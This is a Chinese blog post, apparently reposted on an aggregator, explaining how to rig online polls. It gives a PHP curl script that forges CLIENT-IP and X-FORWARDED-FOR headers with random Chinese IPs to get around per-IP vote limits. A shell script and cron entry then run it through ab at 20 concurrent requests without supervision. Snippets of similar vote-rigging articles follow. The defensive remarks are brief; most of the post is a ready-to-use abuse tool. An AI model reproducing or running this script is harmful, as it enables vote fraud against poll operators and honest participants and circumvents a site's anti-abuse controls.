关于投票系统刷票方式原理(突破ip限制刷票PHP版)

先说一点:其实不算是突破ip限制,因为事实上,这个限制是在服务器端的,客户端在牛逼,也突破不了..只是可以一直刷多次票罢了

一个朋友突然发了一个网站,让我帮她投投票..我这人一项比较好说话,就帮她投了.顺便分析了这个网站,发现这个网站的投票系统有ip限制,但是投票是一个ajax请求.那么办法就出来了.

很多投票PC网站都是依靠限制ip,来限制投票人数.那么我用curl伪造IP,那么就可以轻易制造多个IP进行投票.

下面贴上PHP代码:

由于对方是GET AJAX请求,我这里就贴上GET方法,POST方法请自行修改

<?php
/**
 * @author 邹颢	[email protected]
 */
$ip_long = array(
	array('607649792', '608174079'), //36.56.0.0-36.63.255.255
	array('1038614528', '1039007743'), //61.232.0.0-61.237.255.255
	array('1783627776', '1784676351'), //106.80.0.0-106.95.255.255
	array('2035023872', '2035154943'), //121.76.0.0-121.77.255.255
	array('2078801920', '2079064063'), //123.232.0.0-123.235.255.255
	array('-1950089216', '-1948778497'), //139.196.0.0-139.215.255.255
	array('-1425539072', '-1425014785'), //171.8.0.0-171.15.255.255
	array('-1236271104', '-1235419137'), //182.80.0.0-182.92.255.255
	array('-770113536', '-768606209'), //210.25.0.0-210.47.255.255
	array('-569376768', '-564133889'), //222.16.0.0-222.95.255.255
);
$rand_key = mt_rand(0, 9);
$ip= long2ip(mt_rand($ip_long[$rand_key][0], $ip_long[$rand_key][1]));//随机生成国内某个ip
$url='localhost/ip.php';//这里请填写投票的请求地址
$ch = curl_init($url);
$header = array(
	"CLIENT-IP:{$ip}",
	"X-FORWARDED-FOR:{$ip}",
);
curl_setopt($ch,CURLOPT_HTTPHEADER,$header);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ; // 获取数据返回
curl_exec($ch);
curl_close($ch);

前部分是随机生成国内的某个ip,然后用curl模拟请求.

由于网站限制是一个ip限制1个小时投30个票,因此,我这里就是随机的.

如果网站是限制1个ip投1个,那么最好把ip修改为顺序生成国内ip,这样可以不重复.

然后我在开启,apache ab,每次并发20个投票..很快票就刷上去了.

那么面对这样的恶意刷票有什么解决办法呢?

我没有什么好的办法防御.但是我这样的curl实际上就是webservice访问,这样的访问是不带session或者cookie的,当然,curl也可以模拟带上cookie,然后在带上phpsessionid从而来带上session.

但是对于一个未知网站而言,并不知道他的处理方式.因此,如果判断是否存在session会有效抵挡一批刷票.但是在提示的时候切勿提示是缺少session这样的文字.最好在给session一个有效时期,这样的安全度会提高(但是如果刷票者知道这样的原理,并不意味能防御住他)

补充一点:很多代码上说能够获取访问者真实的IP地址,这个我没有遇过到正确的能够获取用户真实ip的方法.如果有的话,欢迎留言

如果有什么好的防御方案,希望留言.

有时候如果超时可能会导致脚本中断,最好在配合一个crond来每分钟都执行一下脚本

脚本代码为:

#!/bin/sh
pid=`ps -ef |grep localhost/vote.php |grep vote.php | awk '{print $2}'`;
if [[ $pid == "" ]];then
	echo "vote is start";
	nohup /usr/bin/ab -n 100000 -c 20 http://localhost/vote.php
else
	echo "vote.php is running";
fi

这个脚本就是每分钟判断这个进程存在不,存在的话,就不管,不存在的话,就启动这个进程..

另外可以不用使用nohup来后台执行

在开启crond每分钟跑起来

crontab -e

编辑crond任务

* * * * * /www/web/default/Controller/Script/vote.sh

前5个*号就是代表每个分钟都执行这个脚本..如果不详,请查阅cron资料

在开启cron

service crond start

大工告成,安心让他自动刷吧.你可以去忙别的事了

Windows系统请自行计划任务,我这里就不帖代码了

关于投票系统刷票方式原理(突破ip限制刷票PHP版),布布扣,bubuko.com

时间: 2024-11-08 19:17:26

关于投票系统刷票方式原理(突破ip限制刷票PHP版)的相关文章

在投票系统方法的原则刷票(突破ip限制刷票PHP版)

让我谈一点:事实上,没有一个突破ip限制,因为实际上,,这项限制server结束,client牛逼,不能突破..只要是能够始终重复刷票罢了 一个朋友突然来了个网站,让我帮她投票..我是一个更好的人说话,为了帮助她投.顺便说一下分析本网站,有ip限制,可是投票是一个ajax请求.那么办法就出来了. 非常多投票PC站点都是依靠限制ip,来限制投票人数.那么我用curl伪造IP,那么就能够轻易制造多个IP进行投票. 以下贴上PHP代码: 因为对方是GET AJAX请求,我这里就贴上GET方法,POST

简单的刷票系统(突破IP限制进行投票)

前言 相信大家平时肯定会收到朋友发来的链接,打开一看,哦,需要投票.投完票后弹出一个页面(恭喜您,您已经投票成功),再次点击的时候发现,啊哈,您的IP(***.***.***.***)已经投过票了,不能重复投票.这时候,我们可能会想,能不能突破ip地址的限制进行刷票呢?有了这样的想法,那就去做吧,下面我将介绍我这个简单的刷票系统,仅供有需求的园友们参考. 1.系统设计 系统主要实现的是突破IP限制进行刷票,其中,由IP采集模块负责从互联网上爬取代理IP,放入阻塞队列,该任务会定期执行.之后由投票

刷票的在线投票系统代码

投票是非常多的网站是基于ip住址.不同ip地址每天一次投票 以下代码是使用curl扩展伪造ip住址 实现无限制投票. $times = $_POST['times']; //投票次数 $url = $_POST['url']; //投票地址[某个选手下方投票button的链接] while ($times) { $ip1 = 'X-FORWARDED-FOR:'.rand(115,225).'.'.rand(115,225).'.'.rand(115,225).'.'.rand(115,225)

网上投票系统刷票代码

很多网站上的投票依据是ip地址,不同的ip地址一天可投票一次 下面的代码就是利用curl扩展来伪造ip地址 达到无限制投票: $times = $_POST['times']; //投票次数 $url = $_POST['url']; //投票地址[某个选手下方投票按钮的链接] while ($times) { $ip1 = 'X-FORWARDED-FOR:'.rand(115,225).'.'.rand(115,225).'.'.rand(115,225).'.'.rand(115,225)

投票系统 &amp; 简易js刷票脚本

早就听说有什么刷票脚本,微博投票等等相关的投票都有某些人去刷票. 试一下吧,兴许自己也会刷票呢?捣鼓了几个小时,终于有所眉目. (1)投票系统 要刷票,就得先有个投票界面. 当然,可以直接去各个投票网站就行,不过这里还是自己弄个投票页面,方便自己. 页面大致如下  或者 查看演示 照理,界面很简洁,但也基本有了投票的基本功能. 原始规则是:只能投一次票,然后提示成功,然后按钮不可用. 都是原生JS,DOM操作不灵活的可以借此练练手.当然,用jq将会很便捷. html/css部分 <!DOCTYP

投票系统——爬虫+容器克隆技术

序:昨天是所谓的单身狗节,作为一名不折不扣的程序员,高级程序员,怎么能有女票呢是吧,所以我苦逼的去了公司开发我的项目 大概到下午,我当天的开发到了尾声,仔细想想别人都去逛街约炮去了,我堂堂一名程序员弄啥雷,于是我想找点乐子,我找了实验室的好基友(单身狗程序员一只)准备商讨出去浪的想法,刚想发信息,一想最近工资没发,钱不够不能出去浪啊,寻思着找啥乐子,突然一个灵感划过脑海,要不做个校花评选系统找理工的校花吧,但是照片哪来呢,大一时天真的认为让他们自己交出照片,想想这么逗比的行为不现实了,那么只能做

【php】使用jpgraph完成投票系统的普通用户部分

本文接上一篇<[php]投票系统管理员部分,增加投票与删除投票>(点击打开链接) 上次三个链接只完成了管理员部分的两个 现在完成最后的一个普通用户这一个,同样是没有登录系统部分,请自行补充 一.基本目标 投票系统的普通用户部分如下图所示: 首先显示现存的投票列表给用户,之后,点击进入其中一个投票,能够投票 投票皆为单选,不设定为多选,当然,你设置为多选也行,反正每一页都是一个表单, 点击"投票"按钮则,询问用户是否确定,是则投票成功哦,否则不发生任何事 当投票的任何一项都大

微信送礼物投票系统的详细解答

就目前来说,市场上的第三方微信投票系统种类很多,功能不一鱼龙混杂,功能很多的情况下有一些细微的区别,对于用户来说选择有一定的难度,下面我就来简单介绍一下微信投票活动大家经常关注的16个问题,对此进行详细的解答:只要能同时包括这个些功能的系统,通常都能够很好的满足活动举办方的要求,活动良好的用户体验! Q1.该投票系统可以设置每个微信用户投票次数吗? A3:可以的,可以设置一次活动每个微信用户的投票数,可设置每个微信用户每天的投票数!并且取消关注自动减掉此用户投票的所有记录,做到了自动减票的功能.

微信投票系统 开发

公众号发起投票,无疑是吸粉涨粉的一项大杀器,各类萌宝投票,最美投票总是火爆朋友圈,组织方公众号的粉丝也是噌噌向上涨. 本文一步一步向您介绍开发公众号投票系统的详细过程,并在最后给出DEMO以供参考 ,为免广告嫌疑,本文能不贴图的都不贴图了,见谅. 公众号投票系统的原理并不复杂,用户发布或者管理员后台发布待投票的项目,手机端用户在微信上浏览H5页面,进行投票. 这其中几个关键点在于: 1.微信端用户鉴权识别用户身份,以防刷票. 2.发布投票项目时,使用微信 JS SDK 进行图片的上传. 3.后台